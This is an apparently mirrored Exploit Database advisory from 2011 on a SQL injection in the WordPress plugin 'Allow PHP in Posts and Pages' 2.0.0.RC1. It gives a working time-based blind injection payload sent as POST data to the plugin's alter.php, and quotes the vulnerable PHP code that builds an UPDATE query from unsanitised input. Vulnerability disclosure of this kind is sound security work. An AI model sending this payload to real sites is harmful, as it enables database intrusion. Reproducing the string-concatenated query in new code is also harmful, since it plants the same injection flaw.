WordPress Plugin Allow PHP in Posts and Pages 2.0.0.RC1 – SQL Injection

• Exploit Database
• 16 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17688/

• # Exploit Title: WordPress Allow PHP in Posts and Pages plugin <= 2.0.0.RC1 SQL Injection Vulnerability
  # Date: 2011-08-18
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/allow-php-in-posts-and-pages.zip
  # Version: 2.0.0.RC1 (tested)
  
  ---------------
  PoC (POST data)
  ---------------
  http://www.site.com/wp-content/plugins/allow-php-in-posts-and-pages/alter.php
   allowPHPNonce=-1&action=modify&function=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
  
  ---------------
  Vulnerable code
  ---------------
  if(!isset($_POST['allowPHPNonce'])){
  if ( !wp_verify_nonce( $_POST['allowPHPNonce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
  }
  else{
  if(!isset($_POST['action']) || !defined ('ABSPATH')){header("location:".$refer);}
  if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
  if(isset($_POST['function'])){$function = $_POST['function'];}else{$function="";}
  if(isset($_POST['name'])){$name = $_POST['name'];}else{$name="";}
  $action = $_POST['action'];
  
  		#delete
  if($action == "delete"){
  
  ...
  
  elseif($action == "modify" && $function != ""){
  $sql = "update ".$wpdb->prefix."allowPHP_functions set function='".$function."', name='".$name."' where id = ".$id;
  $results = $wpdb->get_results($wpdb->prepare($sql));